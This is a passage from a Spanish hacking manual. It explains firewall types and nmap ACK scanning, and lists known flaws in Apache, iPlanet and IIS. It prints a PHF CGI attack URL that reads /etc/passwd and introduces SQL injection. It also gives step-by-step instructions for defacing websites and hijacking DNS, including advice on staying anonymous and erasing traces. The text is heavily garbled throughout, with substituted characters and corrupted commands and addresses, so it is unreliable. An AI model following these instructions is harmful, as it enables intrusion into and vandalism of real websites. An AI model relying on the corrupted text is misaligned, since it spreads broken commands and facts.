maligno o no. Por lo general, las 4preguntas4 !ue el filtro hace !ue el pa!uete son=
F 2l pa!uete est dirigido a la direccin 3P de alg%n servidor de la red8
F Su direccin 3P de origen esta permitida en esta red8
164
ikimilikiliklik Universidad H4CK3R
F 2l puerto 6.PL:(P al !ue se destina, corresponde a un servicio !ue se ofrece en mi
red8
F 2l puerto 6.PL:(P de origen corresponde a una aplicacin cliente de mis servicios8
F /os bits del pa!uete 0S*- o ".S1 forman parte del protocolo de enlace 6.P8
F 2l pa!uete 3P esta saliendo o entrando en la red8
Si la respuesta a las cinco primeras preguntas es afirmativa, el servidor de seguridad
permite !ue el pa!uete entre o salga. /a configuracin de cada una de las situaciones de
permiso o blo!ueo de pa!uetes se llama regla. :n conunto cual!uiera de estas reglas se
denomina lista de control de acceso, access control list 0"./1. Hay varios programas de
softPare !ue implementan filtros de pa!uetes. "lgunos se instalan en hardPare
especfico, tales como routers y los llamados 4firePalls de rackD. <tros son programas !ue
se eecutan en e!uipos normales. "lgunos tienen interfaces grficas para la configuracin,
otros deben austarse con lneas de comandos a veces compleas. .omo la sinta5is y el
modo de configuracin vara mucho, no es posible mostrar un eemplo real de regla de
firePall. Sin embargo, como el filtrado es t$cnicamente id$ntico, variando %nicamente la
sinta5is de comandos, una tabla de reglas podra, con fines didcticos, escribirse as=
3P de origen 3P de destino
Puerto de
origen
Puerto de
destino
Protocolo Mlag6.P "ccin
Ned interna Ned e5terna 6odas A' 6.P 6odos Permitir
Ned e5terna Ned e5terna A' 6odas 6.P ".S Permitir
Ned e5terna Servidor Oeb 6odas A' 6.P S*- Permitir
Servidor Oeb Ned e5terna A' 6odas 6.P ".S Permitir
6odas 6odas 6odas 6odas 6odos 6odos -egar
2n este eemplo, nuestro administrador de red !uera permitir el acceso a la Oorld Oide
Oeb para los usuarios de esa red. -ormalmente, los servidores Oeb se eecutan en el
puerto 6.P A' 0recuerde= NM.1@''1. (e acuerdo con la primera regla, todas las
cone5iones desde el interior hacia el e5terior cuyo destino es el puerto A' est permitido.
<bviamente, el navegador del usuario enva un pa!uete 6.P S*- al puerto A' del
servidor Peb y espera una respuesta. 2sta respuesta viene en forma de un pa!uete ".S,
cuyo puerto de origen es el puerto 6.P A' del servidor con destino a cual!uier puerto
superior a 1'&? en el ordenador del usuario. /a segunda regla permite eso.
/a tercera regla permite !ue cual!uier solicitud de cone5in 0es decir, un pa!uete 6.P
S*-1 se pase a la direccin del servidor Oeb, y slo a $l, en el puerto A'. :na peticin al
puerto A' de cual!uier otra m!uina se blo!uea. /a respuesta de nuestro servidor Peb
pasa por el firePall, permitida por la regla cuatro. Por fin, la regla cinco, blo!uea todas las
dems cone5iones.
Sin embargo, el filtro de pa!uetes es ignorante. "l margen de lo definido en sus reglas, $l
no sabe nada ms. ;ire la regla dos. .ual!uier pa!uete 6.P !ue venga de fuera, cuyo
origen es el puerto A' y tenga el flag ".S activado, seria aceptado por el firePall, sin
problema. "hora, un hacker podra enviar un ".S !ue no formaba parte de un protocolo
165
ikimilikiliklik Universidad H4CK3R
de enlace 6.P. .on este pa!uete, todas las direcciones 3P en la red podra ser testadas
para verificar su e5istencia. Se trata de un aguero de seguridad bonitoG
<tro problema son los pa!uetes :(P. -o tienen los flags de control, slo I2Qpuerto de
origen y de destino. 2l administrador slo tiene dos opciones= blo!uearlos o permitir3os.
Servicios importantes tales como (-S 0puerto I91, utili#an puertos :(P y por lo tanto
deben ser liberados en el cortafuegos. "l mismo tiempo, el mismo puerto :(P I9 se
puede utili#ar para transmitir datos al hacker por medio de un caballo de 6roya. 2l filtro de
pa!uetes no tiene forma de distinguir entre una cone5in vlida y una maliciosa.
= Proies
/os filtros de pa!uetes, como su nombre indica, se basan en la informacin descargada
de los mismos pa!uetes para tomar decisiones acerca de !ui$n entra o sale y !ue est
prohibido. Por el contrario, firePalls basados en la tecnologa pro5y, trabaan con la capa
de aplicacin. 2l pro5y interact%a con el programa y sus protocolos, independientemente
de cmo este protocolo se encapsula en el protocolo 6.PLlP. Por eemplo, un pro5y Oeb
muy conocido en el mundo :ni5, CS!uidD, slo funciona con el protocolo H66P,
blo!ueando los dems. "dems, es inmune a los ata!ues con pa!uetes aislados. 2l
pa!uete ".S !ue paso con gallarda por el filtro de pa!uetes, es solemnemente ignorado
por el pro5y, !ue se 4cepilla los bits4 del protocolo H66P para dear pasar slo los
mensaes !ue cumplan estrictamente con las normas F mucho ms efica# !ue
simplemente blo!uear las cone5iones ".S 6.PLA'. Hay pro5ies para todos los gustos,
siendo H66P, M6P y 6elnet los ms comunes.
<pcionalmente, un pro5y puede autenticar a los usuarios, permitiendo slo los inicios de
sesin registrados correctamente en $l. * es %til para controlar !uien puede, o no,
acceder a servicios e5ternos X un control muy %til en las empresas F es mucho ms %til
para prevenir !ue los troyanos se conecten con sus maestros del mal envueltos en las
brumas de 3nternet. (e hecho, en un filtro de pa!uetes !ue permita la cone5in a trav$s
del puerto 6.P A', con las peticiones H66P vlidas, podramos tener troyanos
conectndose por el mismo puerto. .on un pro5y no sera posible. "un!ue el troyano
disfrace sus datos con una cabecera H66P valida, la cone5in no pasara por el es!uema
de autenticacin.
166
ikimilikiliklik Universidad H4CK3R
= "iltro de los 7a+uetes 7or estado M;P"N
7Eue tal proporcionar algo de inteligencia a los microc$falos filtros de pa!uetes8 :na
nueva tecnologa de anlisis de pa!uetes fue a)adida a los filtros, permitiendoles recordar
los pa!uetes anteriores antes de permitir la entrada a uno ms reciente. 2sta 4memoria4
se aplica en forma de una tabla de cone5iones activas. .uando se inicia una cone5in,
todos los datos del pa!uete se almacenan en ella. Si un nuevo pa!uete llega en direccin
a la misma m!uina, el SPM consulta la tabla. 2l nuevo pa!uete ser aceptado si
mantiene una relacin o se recha#a, si no la tiene.
:n eemplo prctico es el 3ands3a/e ms bsico de 6.P. :na m!uina dentro de la red
enva un pa!uete 6.P S*-, !ue pasa por el SPM y se coloca en la tabla. 2ste e!uipo
espera un 6.P S*-L".S de la otra m!uina 0e5terna1 !ue participa en la cone5in.
.uando el pa!uete llega, el SPM e5amina la tabla, y observando !ue se trata de un
pa!uete vlido, permite su paso. 2l servidor de seguridad sabe !ue slo puede aceptar el
pa!uete S*-L".S si es una respuesta a un S*- desde el interior de la red. "s, un
e5perto black hat !ue use un ".S solitario no puede, en esta ocasin, espiar nuestra red.
= 2uscando las reglas del filtro de 7a+uetes
:n script kiddie por lo general dea de escanear la red si sus pa!uetes ".S no pasan por
el firePall. Hay maneras de perforar cual!uiera de los tres tipos de cortafuegos, !ue se
estudiarn con ms detalles ms adelante en el libro.
Por ahora, vamos a preocuparnos por la d$bil oposicin ofrecida por los filtros de
pa!uetes. /amentablemente, vemos !ue en la gran mayora de las redes conectadas a
3nternet se ha instalado slo estos filtros. /os pro5ys son usados com%nmente como
cach$ para meorar el rendimiento de las cone5iones y rara ve# son usados como
firePalls. /os SPMs estn a%n ms olvidados= la mayora de 4gestores4 de la red por ah ni
si!uiera saben lo !ue son los Stateful 2ac/et Filters.
2s posible determinar, a trav$s de los pa!uetes ".S, !ue puertos de un filtro de pa!uetes
se dearon abiertos. .omo se mencion anteriormente, los filtros de pa!uetes dearan
pasar cual!uier pa!uete con el flag ".S, pensando !ue son respuestas a las solicitudes
de salida S*- anteriores. :n PortScanner 0por eemplo, 6map1 puede enviar pa!uetes
".S para todos los puertos de una determinada direccin. Hacer esto con toda la gama
de direcciones 3P asignadas a dicha red puede determinar todas las reglas de filtrado de
los cortafuegos.
167
ikimilikiliklik Universidad H4CK3R
Para hacer !ue -map enve pa!uetes ".S para todos los puertos en una sola m!uina,
utilice la opcin Fs" 0hay !ue ser root para esto1=
W Nm#' +sA -I, Xe se "e/e /sc#r0
2l prompt !ue se muestra es de :ni5, pero en OindoPs sera e5actamente lo mismo.
<bviamente, uno puede utili#ar la interfa# grfica 0-mapOin y -mapfe1 para facilitar la
tarea, si as lo desea.
Se puede hacer el mismo anlisis con todos los puertos en un rango de 3Ps 0es decir,
varias m!uinas1. Por eemplo=
W Nm#' +sA >89B>=@B> BY
;naliNa todas las direcciones I2 @KB.@HJ.@.L a @KB.@HJ.@.BGG
W Nm#' +sA >89B>=@B>B<+>9:
;naliNa todas las direcciones I2 de @KB.@HJ.@.C a @KB.@HJ.@.@BI
2ecuta este comando en una serie de sitios Peb y podrs ver !ue no todos hicieron sus
deberes. 2lie uno de ellos 0el ms bacheado1 y trata, a partir de los datos presentados
por -map de determinar las reglas del firePall en cuestin.
<tro comando muy interesante es 6racerouteL6racert. Si ests en una m!uina :ni5,
pruebe con el siguiente comando=
W tr#cerote -I, "e! servi"or We/0
2n una m!uina OindoPs, el comando sera=
CE\tr#cert -I, "e! servi"or We/0
Ver una lista de todos los n%meros de 3P 0y, en su caso, el nombre (-S1 de los
ordenadores y routers en el camino entre el ordenador y el e!uipo de destino. 2s muy
probable !ue, siendo el e!uipo de destino un servidor Peb, las dos interfaces de red 0es
decir, los n%meros de 3P1 inmediatamente anteriores al servidor, pertene#can al firePall.
6enemos, por tanto, tres de informaciones vlidas= la direccin 3P del servidor Peb, la
direccin 3P de su servidor de seguridad y sus reglas de filtrado. .on un poco de
paciencia, el hacker puede intentar varias direcciones pr5imas con 6map y Draceroute o
Dracert, y con los datos obtenidos hacer un diagrama apro5imado de la red !ue est
atacando. Peligroso, 7no es as8
.on esta informacin, un escner de vulnerabilidades, como 6essus, puede abrir un
mundo de opciones para invadir cual!uiera de las m!uinas encontradas. Slo tiene !ue
encontrar el aguero, descargar el e5ploit 0PPP.cert.org y PPP.securitifocus.com1. Para
empe#ar1 y eecutarlo.
;er1idores We&
(ebemos conocer con cierta profundidad los CdaemonsD H66P a ser atacados, con el fin
de invadir rpidamente y cambiar sus pginas. .onocer las vulnerabilidades en ellos es
crucial para el $5ito de la empresa. :na ve# invadidos, los caminos !ue conducen a las
168
ikimilikiliklik Universidad H4CK3R
pginas deben ser capturados rpidamente para evitar una cone5in larga en el tiempo y
posibles rastreamientos.
= *7ac8e
2l servidor H66P n%mero uno del mundo es "pache 0PPP.apache.org1. 2s un programa
de cdigo abierto y libre distribucin de gran prestigio por su desempe)o, seguridad y
fle5ibilidad. Sin embargo, ning%n softPare es 1''] seguro, y "pache no es una
e5cepcin.
/os archivos de configuracin de "pache, normalmente estn en Qetc, en los directorios
QetcQ3ttpd o QetcQapac3e. 2n algunas implementaciones, puede estar en QusrQlocalQapac3e
o QvarQ3ttpd. 2s importante !ue el atacante est$ familiari#ado con los conceptos de
funcionamiento de un servidor H66P, en particular con apache, y especialmente con el
fichero de configuracin Chttpd.confD. <tro punto interesante a estudiar son los
mecanismos para el acceso a pginas restringidas a trav$s de contrase)as. 2stos
mecanismos suelen utili#ar archivos llamados C.3taccess para almacenar el nombre de
usuario y la contrase)a de los usuarios registrados. 6oda la informacin esta contenida en
la documentacin del producto, disponible en el sitio oficial.
/a meor manera de aprender acerca de "pache es manendolo. 3nstala cual!uier /inu5
en un e!uipo de prueba y la %ltima versin de apache. Zuega con la configuracin, busca
H<O6<s en 3nternet, crea pginas de acceso restringido y, sobre todo, observa cmo
est organi#ada la erar!ua de directorios.
.omo no todo son flores, "pache puede ser vulnerable a los ata!ues. "dems de la mala
configuracin del :ni5 !ue lo acoa, el propio "pache puede estar configurado
incorrectamente. Pero incluso si todo est en orden, puede haber fallos en el softPare !ue
permitan una invasin. :n eemplo sencillo. "pache tiene un mdulo, (odSp3p, !ue
permite la eecucin de sistemas escritos en lenguae PHP en el servidor. "lgunas
funciones de (odSp3p permiten !ue un programa e5terno sea eecutado. 2n estas
situaciones, el control del puerto en el !ue "pache escucha 40por lo general A'1 se pasa a
este programa e5terno. Por lo tanto, es fcil hacer un pe!ue)o programa con cdigo
malicioso !ue permita a un hacker tomar el puerto A', basta con !ue el programa nunca
devuelva el control a "pache, y !ue este abierto para la transmisin de datos por parte del
hacker. 2l invasor puede enviar cual!uier cosa por el puerto A', incluyendo otras pginas
H6;/ sin modificar el contenido de las pginas aloadas en el servidor. 2l e5ploit, y una
e5plicacin ms detallada se puede encontrar en PPP.guninski.comLphp1.html .
= ;un 0I5HiPlanet
Sun ofrece el servidor H66P de Sun <-2 0antes iPlanet1, un servidor potente y muy
rpido, pero con algunos errores. 2l Sun <-2 es parte de un conunto ms amplio de
herramientas para el desarrollo de aplicaciones empresariales en Zava, y por lo tanto es
difcil 0pero no imposible1 encontrarlo sirviendo pginas Peb. /a documentacin sobre el
servidor se puede encontrar en el sitio oficial= PPP.sun.comLsoftPareLproductsLPebsrvrL
home.Peb.srvr.html.
:na de las vulnerabilidades ms conocidas del antiguo iPlanet y !ue algunas versiones
169
ikimilikiliklik Universidad H4CK3R
de Sun <-2 han heredado es un error en el componente de b%s!ueda del servidor F el
campo !ue permite a los usuarios de 3nternet buscar algo dentro del sitio. :no de los
comandos de b%s!ueda es el "S!rel!doc!na(e. :na cadena muy larga asociada a este
parmetro provoca un desbordamiento de b%fer en el componente y permite la eecucin
de cdigo arbitrario con acceso de root en el servidor. Si en lugar de un cdigo se enva a
cual!uier cadena 04basura41, el servidor puede fallar y !uedar en el aire. /a vulnerabilidad
se e5plica en detalle en el sitio Peb de Security Mocus
0www.securityfocus.com/bid/48511info1.
= 4icrosoft Internet Information ;er1ices MII;N
Pero el campen absoluto de los fallos de seguridad en servidores Peb es sin lugar a
dudas, 3nternet 3nformation Server 0o 33S1 de ;icrosoft. (esde su lan#amiento, se
descubren fallos casi todos los meses, y a veces las revisiones y los Service Packs fian
uno o dos fallos, pero abren ms. /os primeros ata!ues a 33S eran posibles simplemente
manipulando la :N/ visitada. Por eemplo, las primeras versiones de 33S permitan !ue la
:N/ fuese informada as= http=LLsite.com.33S.comL..L..L"r!uivos de programasLPerlLperl.e5e.
6enga en cuenta ..L..L. 2sto le indica a OindoPs -6 !ue suba dos directorios. "hora
estamos en, Q$$$Qdocu(enrootQ, slo tiene !ue subir dos directorios para llegar a la ra#
0. d1. Si funciona, cual!uier directorio estar disponible para el usuario, incluyendo los !ue
contienen programas. Si, en lugar de navegar con el navegador, nuestro intr$pido pirata
informtico utili#a el programa telnet, la :N/ anterior precedida del comando T26
llamara al prompt del int$rprete de comandos de Perl. " partir de ah, todo es posible.
Hoy, el mayor problema de los ata!ues a 33S se conoce como vulnerabilidad cross site. 2l
atacante debe crear un sitio Peb con 33S y poner una pgina H6;/ conteniendo un script
0V+Script o Zavascript puede ser1 !ue apunte a algunas de las paginas de administracin
del servidor, especialmente en la carpeta C33SHelpD. 2l script tambi$n se pueden enviar por
correo electrnico 0<utlook y eecutarse feli#mente sin preguntar1. .uando se eecuta, el
script tomar posesin del 33S de la vctima y no del 33S del hacker. :sando este fallo, un
atacante puede monitori#ar las sesiones, copiar datos y documentos importantes o incluso
eecutar algunos tipos de programas.
.uriosamente, el C33SHelpD esta cerrado para la #ona 3nternet. :na secuencia de
comandos de fuera de la red nunca sera capa# de acceder a el. Pero cuando se eecuta
desde el interior de la red 03nternet 25plorer o <utlook1, el usuario est dando a la
secuencia de comandos los poderes necesarios para controlar las pginas de
administracin. 2ste fallo puede verse en 6ech-et 0PPP.microsoft.comLtechnet1 bao el
smbolo ;S'&F'J&.
<tro gran problema con 33S es el Pnicode 9ug. 2l OindoPs -6 0y su hio, OindoPs &'''1
estn preparados desde hace tiempo para soportar el cdigo de caracteres :nicode, !ue
tiene como obetivo unificar los conuntos de caracteres de todos los idiomas del mundo,
poniendo fin a los problemas de la internacionali#acin de los programas y sitios. Sucede
!ue, a pesar de !ue el sistema operativo est preparado para :nicode, 33S no lo esta.
2nviando una cadena con innumerables caracteres :nicode &II., es posible, en el final
de la cadena, poner comandos para eecutarse. Para corregir este error sugerimos !ue
170
ikimilikiliklik Universidad H4CK3R
reemplace el servidor 33S con un sistema /inu5 con "pache 0el meor1. Si usted insiste en
el uso de OindoPs, aplicar el parche oficial, disponible en
PPP.microsoft.comLtechnetLsecurityLbulletinLms''F'I@.asp.
2l 33S tambi$n ofrece un servicio para el atacante, el registro de datos falsos en el ClogD.
.omo se inform por Security Mocus 0PPP.securityfocus.comLbidLJ@BILinfo1. :N/s
especficamente mal formadas con cdigos he5adecimales pueden hacer !ue el sistema
grave entradas falsas en los archivos ClogD. .on esto se pueden destruir los registros de la
invasin y confundir a los programas !ue leen el registro.
Hay varios libros escritos sobre los tres servidores de la lista, y los sitios oficiales
0especialmente "pache1 proporcionan informacin detallada y amplia documentacin
sobre ellos. (ea de leer el libro y estudialos. 2s importante. 6ambi$n sugiero un paseo
por Security Mocus 0PPP.securityfocus.com1 haciendo una b%s!ueda de vulnerabilidades
en estos tres servidores H66P. Si por casualidad los conceptos utili#ados en los sitios son
demasiado oscuros para el lector, le sugerimos volver a leer el libro entero.
= Common Satewa- Interface MCSIN
/os servidores H66P pueden ampliarse mucho ms con la adopcin de mecanismos !ue
permitan el llamado contenido dinmico, una tecnologa !ue permite el acceso y el
montae de pginas personali#adas y contenidos variables para cada visitante. 2sta
tecnologa ha abierto la puerta a una serie de nuevos servicios a los usuarios de 3nternet,
tales como el comercio electrnico, pginas interactivas, servicios de noticias y el
procesamiento personali#ado de formularios en lnea. (e paso, tambi$n abri la puerta a
los piratas informticos.
/a forma ms antigua de ofrecer sitios de contenido dinmico son los 1o((on :ate$a+
Interface, o .T3. 2stos mdulos, agregados al servidor Oeb, permiten a las pginas
H6;/ residentes, enviar y recibir datos desde un programa e5terno. Por lo tanto, los
sistemas de procesamiento de datos pueden manear la informacin recibida y ver los
resultados en pantalla. Si usted no tiene ni idea de cmo se puede hacer esto, le sugiero
!ue dee de leer este libro 0nuevamente. ..1 y vaya a buscar un buen libro de H6;/. -o,
su conocimiento de MrontPage o (reamPeaver no van a ayudarle ahora. (espu$s de
terminar sus estudios de H6;/, trate de aprender algo sobre ZavaScript y V+Script. Solo
despu$s siga con el siguiente prrafo.
/os programas !ue se eecutan como scripts .T3 pueden ser muy simples. * se pueden
implementar en cual!uier idioma disponible en el servidor. Por eemplo, un e!uipo !ue
eecuta OindoPs, puede preparar un pe!ue)o programa en (elphi, Visual +asic o incluso
un archivo por lotes 0. +"61 !ue interact%e con 33S. 2n :ni5, puede utili#ar Perl, Python,
programas compilados en . o scripts de shell, como .Tls. /os fallos en estos programas
puede comprometer servidores H63P !ue de otro modo estaran a salvo.
/os agueros de seguridad entorno a los .Tls son tan antiguos como la propia tecnologa.
/os propios servidores ya vienen con eemplos de .Tls preFinstalados. :n eemplo,
procedente de instalaciones :-3K muy antiguas, es el fallo del tipo PHM. 2l archivo PHM
es un script .T3 !ue se utili#a para actuali#ar una lista de tel$fonos de personas. 2sta
lista est disponible en lnea a trav$s del servidor Peb, y es posible crear un formulario
171
ikimilikiliklik Universidad H4CK3R
!ue utilice este .T3 para actuali#ar la lista.
2n :-3K con "pache, la ubicacin predeterminada para los scripts .T3 es ponerlos en el
directorio QrutaQparaQ3ttpQcgi!%inQ. (e forma predeterminada, la mayora de los servidores
Oeb antiguos instalaban el PHM como en el eemplo y, como los administradores de
sistemas no leen la documentacin, los scripts terminan consigui$ndolo. Sin embargo, el
script PHM se comporta mal cuando, unto con comandos vlidos, hay un carcter ne$line
0en formato he5adecimal, <"h1 en la :N/ de seguimiento. :n ata!ue simple sera=
3ttp6QQvulnserv.co(Qcgi!%inQp3f?QaliasZ)\T;3 Q%inQcat\BLQetcQpass$d .
Si usted mira despu$s de la nueva lnea 0<ah1, ha emitido el comando Q%inQcat
\BLQetcQpass$d.
2l carcter \BL es el cdigo "S.33 para el espacio en blanco. Son posibles varias
acciones y una buena idea es usar secuencias de comandos. -ormalmente, el script se
eecuta en :ni5 en una shell muy restringida, siendo el usuario no%od+ 4el campen de
audiencia.4 Si tienes la suerte de en .T3 eecutar S:3(. Podr eecutar comandos como
root.
"mbos PHM y :ni5 son slo eemplos. <tros .Tls son vulnerables 0casi todos...1 y
pueden eecutar comandos en otras plataformas. :n servidor OindoPs -6 acepta los
comandos del (<S, por eemplo.
/a meor manera de protegerse de los problemas de los scripts .T3 es no usarlos. (ebido
a esto, hoy en da se utili#an otras maneras de interactuar con el usuario. "lgunos
eemplos son el servidor de aplicaciones ,ope, .oldMusion y "SP y PHP lenguaes
dinmicos. Pero incluso ellos tienen agueros, pero no tan toscos como los de .gls.
= PHP - *;P
/os dos lenguaes mas utili#ados para implementar sitios dinmicos en la Peb estn,
llenos de fallos. .omo necesitan reali#ar algunos procesos antes de enviar la pgina
H6;/ con formato al navegador, se pueden insertar comandos maliciosos en la :N/ o en
alg%n formulario y obtener un shell para usted. .on el shell, la puerta est abierta para su
desfiguracin.
2l lenguae PHP 0Hyperte5t Preprocessor1 fue desarrollado para reempla#ar a los scripts
.T3 en servidores :ni5, a pesar de eso ha sido portado a varias plataformas, incluyendo
OindoPs. 2l sistema ;ctive Server 2ages #;S2&, de ;icrosoft, en cambio, es como un
shell !ue se conecta al servidor 33S en cual!uier lenguae e5terno. /os ms com%nmente
utili#ados para montar los programas en "SP son V+Script, pero se pueden utili#ar
muchos otros, incluyendo Zavascript y OS2. " pesar de la mayor seguridad y rendimiento
!ue ofrece este enfo!ue F despu$s de todo, ning%n programa e5terno al servidor Oeb se
est eecutando F todava hay algunos fallos !ue se pueden e5plorar. Para obtener una
lista completa, consulte a su sitio favorito en busca de vulnerabilidades, por eemplo, el
Security Mocus 0PPP.securityfocus.com1 /inu5 Security 0PPP.linu5security.org1 o
Security +ugPare 0PPP.securitybugPare.org1.
172
ikimilikiliklik Universidad H4CK3R
Jefacements MJesfiguracionesN
(espu$s de atacar los ordenadores personales, la siguiente gran empresa de los 4script
kiddies4 consiste en desfigurar sitios Oeb, los llamados deface(ents. Hasta ahora,
pudimos comprobar 0con -map y 6racerouteL6racert1 agueros en el firePall y mapear
toda la red conectada directamente a 3nternet. "prendimos a usar servidores pro5y para
aumentar nuestro anonimato y enviar eFmails annimos F algo !ue hace la vida ms fcil
para cual!uier ingeniero social. Sin embargo, la red interna sigue siendo inaccesible para
nosotros. Por ahora >
/a deformacin es una cosa fcil de hacer. Por supuesto !ue hay casos y casos, unos
son un poco ms difciles, otros muy infantiles, pero en general los pasos bsicos para
una desfiguracin son=
1 F /a ingeniera social, aplicada a los administradores del sitio. :n eemplo clsico es el
sitio mismo de (igerati 0PPP.digerati.com1. !ue fue atacado por la hacker uvenil
<elp[ne(e. Slo mediante t$cnicas de ingeniera social, descubri las contrase)as de los
administradores de (igerati en el registro nacional de dominios 0registro.br1. " partir de los
datos obtenidos en $ste, accediendo con las contrase)as obtenidas, invadi el (-S
0tambi$n sin e5ploits, slo con contrase)as obtenidas por ingeniera social1 !ue
apuntaban a nuestro servidor Peb y cambio la 3P, direccionndolo hacia $l servidor de
ella. Nesultados= /os lugares Teek y (igerati con apariencia desfigurada.
& X .on 3ngeniera Social, todo es ms fcil. Pero con o sin informacin privilegiada, se
debe tener cuidado con el anonimato cuando se intenta un ata!ue con herramientas
informticas. Para ello, tenga cuidado de protegerse con spoofing y pro5ies p%blicos.
9 F Hacer anlisis de puertos y vulnerabilidades hasta averiguar si los (-Ss o las Pebs,
tienen defectos !ue se puedan e5plotar. Si es as, bus!ue los e5ploits y tenga acceso al
shell de la m!uina. 6enga en cuenta !ue a menudo usted tendr un acceso restringido,
entonces, tendr !ue hacer cracking de contrase)as o fuer#a bruta 0v$ase el .aptulo @,
Vulnerabilidades 31 para acceder a superusuario.
? F :na ve# !ue tiene acceso, bus!ue el directorio donde se guardan las pginas. 2n las
m!uinas OindoPs con 33S !ue estn en Q$$$Qdocu(entroot. 2n las m!uinas :ni5, esto
varia y puede estar en Q3o(eQ3ttp* QvarQ$$$* QvarQ3ttp* QusrQlocalQapac3eQ$$$, entre otros.
:tilice el comando CfindD 0o, en su caso, el comando ClocateD1 para encontrar el directorio
CPPPD o ChttpD.
I F 2ncontrado el directorio, sea bueno y haga backup del sitio completo, colo!uelo en un
archivo comprimido, d$elo all mismo o cpielo a un directorio cual!uiera.
J F .ambie el Cinde5.htmlD 0o .php o .asp o .htm o .5html o .shtm....1 por el suyo propio,
dise)ado previamente, "-62S de empe#ar la invasin. :sted no !uiere dear la cone5in
abierta durante la creacin de la pgina, e5poni$ndose a un seguimiento, 7no8
@ F +orra las pistas.
2n el caso de las m!uinas (-S, el procedimiento es similar. :sted debe tener un
servidor Oeb en el aire y testado, !ue contenga la pgina a mostrar. 3nvada el (-S y
cambie las entradas. Por eemplo, usted apoya la guerra en 3ra! y !uiere desfigurar el sitio
PPP.stopthePar.org 0"dvertencia /ammers F este sitio no e5iste1. (escubra cual es el
173
ikimilikiliklik Universidad H4CK3R
(-S !ue apunta a ella 0sugerencia= utili#ar el comando OH<3S con CnslookupD1 e invada
la m!uina. "ll, usted encontrara el dominio CstopthePar.orgD asociado con un n%mero de
3P en particular. .ambie la 3P por la de su servidor Oeb !ue contiene la pagina falsa y ya
estG -o se olvide de comprobar si hay (-Ss secundarios. 6endr !ue comprobarlos para
asegurarse de !ue el cambio se realice, de lo contrario, deber invadirlos y cambiarlos
tambi$n 4a mano4.
2ases de datos
/a mayora de los sitios con contenido dinmico y control de acceso hacen uso de bases
de datos. /os primeros, para almacenar los tro#os de cdigo a utili#ar para montar el
H6;/ mostrado al cliente, los segundos, para mantener el registro de usuarios. " ambos
se puede acceder fcilmente con alg%n trabao de campo
= Conei/n directa a tra1Bs de Internet
"lgunos administradores de red 0o incluso usuarios legos ...1 dean sus bases de datos
completamente abiertas en 3nternet, sin filtrarlas por cortafuegos. 2s posible conectarse a
ellas a trav$s de las herramientas disponibles en el propio sistema operativo, o instalando
en el ordenador atacante, una base de datos similar a la de la vctima.
:n eemplo prctico= en 3nternet, usted encontr con un escner de vulnerabilidades 0Por
eemplo, 6essus1, un servidor :ni5 !ue eecuta la base de datos CPostgreSE/D. Para
acceder a ella, basta con instalar y configurar un interfa# grfico para el acceso y
administracin de bases de datos de CProstgreSE/D llamada pgaccess
0PPP.fre5.roLpgaccess1.
Ser necesario un poco de ingeniera social para
descubrir los nombres de bases de datos y usuarios.
CPostgreSE/D fue slo un eemplo, usted puede hacer
esto con cual!uier base de datos, incluyendo C;SF
SE/D o C"ccessD, cuando se configuran como fuentes
de datos <(+. para la creacin de redes. :na
instalacin con las opciones por defecto de la base
de datos a ser atacada, en la m!uina del atacante,
ayuda mucho para descubrir las cuentas estndar. Si
estn bien escritos, los scripts de cone5in a SE/ y
<(+., pueden ayudar en una eventual fuer#a bruta.
Profundice en las tecnologas de bases de datos.
3nternet est lleno de tutoriales serios sobre el tema.
/e recomendamos, antes de tratar de atacar este tipo de programas, saber cmo
utili#ar3os correctamente. Hmm, tal ve# es hora de !ue dee de leer el libro otra ve# ...
= 6as contraseLas en la We& Mteora 7rFcticaN
6odos los sitios importantes piden a los internautas !ue se registren para acceder a unos
contenidos e5clusivos. (espu$s del registro, es necesario !ue el internauta proporcione
un usuario y contrase)a cada ve# !ue entra en el sitio. Si el servicio se cobra o no, no
174
ikimilikiliklik Universidad H4CK3R
importa. /os datos del usuario sern catalogados y mantenidos en una base de datos y
utili#ados por la empresa !ue mantiene el sitio Peb para cual!uier propsito. Por lo
general, estas empresas tienen y ponen de manifiesto una poltica de privacidad,
asegurando !ue sus datos estn en un entorno seguro, libre de oos traviesos y !ue la
propia empresa no los va a divulgar voluntariamente bao ning%n prete5to. " pesar de las
dudas, en la mayora de los casos, creemos en la palabra de los profesionales a !uienes
confiamos nuestra informacin, as como en la seguridad de sus sistemas.
6oda esta charla nos hace creer !ue nuestros datos estn seguros, 7no8 3rnico error. -o
siempre los sitios hacen uso de herramientas adecuadas para desarrollar sus productos y
servicios. Se pueden utili#ar varias t$cnicas para enga)ar a las rutinas de CloginD y obtener
un acceso privilegiado al sitio e incluso obtener los nombres de usuario y contrase)as de
otros usuarios. :na de las t$cnicas se conoce como Iin"eccin de SCJK, !ue consiste
en insertar comandos SE/ en los campos de no(%re de usuario y contrase4a, de
acuerdo con el mensae de error devuelto por el servidor, al mapear la base de datos de
usuarios. 2ste m$todo funciona para secuencias de comandos "SP !ue utili#an llamadas
SE/, pero puede ser adaptado para cual!uier lenguae de script o .T3, como PHP o Perl.
/a sinta5is puede ser diferente, pero el mecanismo es similar.
632;P<G .onoce "SP SE/ y PHP8 7-o8 2s una lstima, pero me veo obligado a sugerir
!ue dees de leer el libro otra ve# y trates de aprender sobre estos temas. .omien#a con
una base de datos simple como C;ySE/D y un lenguae libre como PHP. +uenos puntos
de partida son los sitios Oebmonkey 0PPP.Pebmonkey.com1 y (eveloperYs Shed
0PPP.devshed.com1. /a Peb oficial de PHP 0PPP.php.net1 y ;ySE/ 0PPP.mys!l.com1
son tambi$n muy productivos. :na b%s!ueda en google por las palabras 4PHP ;y SE/
6utorial4 y buenos libros sobre el tema 0y hay muchos1 completaran tus necesidades
iniciales.
Se supone !ue siempre hay una tabla dentro de la base de datos, !ue contiene toda la
informacin de los registros de usuarios. Q-o es supuesto= esa tabla es necesariaG -o
sabemos 0todava1 cual es el nombre de la tabla F puede ser user* usuario* Pser>9*
papaga+o* 9olsadepipas F as !ue por ahora, vamos a llamarlo Pser8a%le. /a Pser8a%le
puede tener varios campos, tales como direccin, n%mero de tel$fono, eFmail de
confirmacin o tareta de cr$dito. Pero hay cuatro campos !ue son necesarios en
cual!uier tabla. /os nombres de campo, obviamente, pueden variar, pero sus funciones
son generalmente las mismas=
F 3(= :n identificador %nico para cada usuario en el sistema. Se llama 4clave principal4, y
es necesaria para el buen funcionamiento de la tabla y sus relaciones con otras tablas.
F -ombre completo= 2l campo no es tan importante para la autenticacin, pero es una
manera de personali#ar el funcionamiento del sitio para cada usuario.
F :suario y .ontrase)a= /os campos ms importantes, garanti#an el acceso al sitio a los
usuarios registrados.
